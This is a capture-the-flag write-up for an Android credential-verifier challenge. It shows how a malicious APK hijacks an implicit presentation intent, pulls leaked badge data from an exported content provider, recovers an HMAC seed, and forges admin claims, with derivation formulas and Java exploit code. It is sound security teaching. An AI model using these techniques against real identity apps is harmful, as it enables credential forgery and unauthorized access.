$ cat writeup.md…
$ cat writeup.md…
sekai2026
Task: Android credential-verifier setup with SekaiID.apk, Verifier.apk, and an ADB TLS proxy. Solution: intercept the implicit presentation intent, recover the HMAC seed from the public fingerprint, forge admin claims, and return a valid presentation.
Original task description was not present in the local notes. The distributed setup contained
SekaiID.apk,Verifier.apk, andtls_proxy.pyfor accessing the Android instance over ADB.
English summary: SekaiID.apk is a wallet/credential provider and Verifier.apk asks it for a conference badge presentation. The goal is to make the verifier accept an administrator credential and read the flag from the admin dashboard.
Static analysis of the manifests showed the important IPC surface:
com.sekai.id.IdentityProviderActivity is exported and handles com.sekai.id.ACTION_PRESENT_CREDENTIAL.com.sekai.id.share.BadgeShareActivity is exported and handles com.sekai.id.ACTION_SHARE_BADGE for content://com.sekai.id.companion/... URIs.com.sekai.id.companion.CompanionInfoProvider is exported as content://com.sekai.id.companion.info and leaks public badge metadata.com.sekai.id.companion.CompanionProvider is not exported, but grants URI access through BadgeShareActivity.Verifier.apk queries for ACTION_PRESENT_CREDENTIAL with an implicit intent, so a malicious APK can register the same action and be selected as the credential provider.The native library libsekaibind.so was the key weakness. Its JNI wrappers return 32-byte values that Kotlin Base64-encodes without wrapping. The constants and formulas are:
SEP = b"\x1f" DOM_BIND = b"SEKAI-ID:credential-binding:v2" DOM_FP = b"pairing-fingerprint:v2" DOM_CLAIMS = b"claims-tag" DOM_AUTH = b"request-auth" ks = SHA256(DOM_FP + SEP + credentialId + SEP + holderPublicKey) pairingFingerprint = seed32 XOR ks bindingKey = HMAC_SHA256(seed32, DOM_BIND + SEP + credentialId + SEP + holderPublicKey) claimsTag = HMAC_SHA256(bindingKey, DOM_CLAIMS + SEP + canonicalClaims) requestAuth = HMAC_SHA256(bindingKey, DOM_AUTH + SEP + challenge)
Because CompanionInfoProvider exposes credentialId, holderPublicKey, and pairingFingerprint, the supposedly secret seed can be recovered:
seed32 = pairingFingerprint XOR SHA256(DOM_FP + SEP + credentialId + SEP + holderPublicKey)
That recovered seed is enough to compute both the requestAuth needed to ask the wallet for a real presentation and a new claimsTag for modified claims.
The exploit APK implements an activity with an intent filter for com.sekai.id.ACTION_PRESENT_CREDENTIAL. When Verifier starts a scan, Android offers the exploit as a credential provider.
Exploitation flow:
Receive the verifier challenge from com.sekai.id.extra.CHALLENGE.
Query content://com.sekai.id.companion.info/pubkey for the holder public key.
Query content://com.sekai.id.companion.info/badge for credentialId and fingerprint.
Recover seed32 from the public fingerprint formula.
Compute requestAuth = HMAC(bindingKey, b"request-auth" + SEP + challenge).
Start the real BadgeShareActivity with:
content://com.sekai.id.companion/badge?challenge=<challenge>&auth=<requestAuth>
This returns a granted URI to CompanionProvider and yields a valid presentation/proof.
Parse the JSON presentation, change:
{"accessProfile":"admin","department":"administration","credentialTier":"platinum"}
Canonicalize the claims exactly as the verifier expects:
{"accessProfile":"admin","department":"administration","credentialTier":"platinum"}
Recompute claimsTag = HMAC(bindingKey, b"claims-tag" + SEP + canonicalClaims).
Return the forged presentation in com.sekai.id.extra.PRESENTATION with RESULT_OK.
The proof did not need to be re-signed: it remained a valid proof for the original credentialId and challenge. The verifier trusted the recomputed claimsTag for the revealed claims, and that tag was forgeable after recovering seed32.
Core exploit logic:
byte[] ks = sha256(concat(DOM_FP, SEP, utf8(credentialId), SEP, utf8(publicKey))); byte[] seed = xor(Base64.decode(fingerprint, Base64.NO_WRAP), ks); byte[] bindingKey = hmac(seed, concat(DOM_BIND, SEP, utf8(credentialId), SEP, utf8(publicKey))); String requestAuth = b64(hmac(bindingKey, concat(DOM_AUTH, SEP, utf8(challenge)))); // After obtaining the legitimate presentation via BadgeShareActivity: claims.put("accessProfile", "admin"); claims.put("department", "administration"); claims.put("credentialTier", "platinum"); String canon = "{\"accessProfile\":\"admin\",\"department\":\"administration\",\"credentialTier\":\"platinum\"}"; presentation.put("claimsTag", b64(hmac(bindingKey, concat(DOM_CLAIMS, SEP, canon.getBytes(UTF_8)))));
Finally, I connected to the instance through tls_proxy.py, installed the built exploit.apk, opened Verifier, started the verification flow, selected SEKAI ID Exploit in the chooser, and Verifier opened the administrator dashboard. The dashboard displayed /system/flag.txt.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar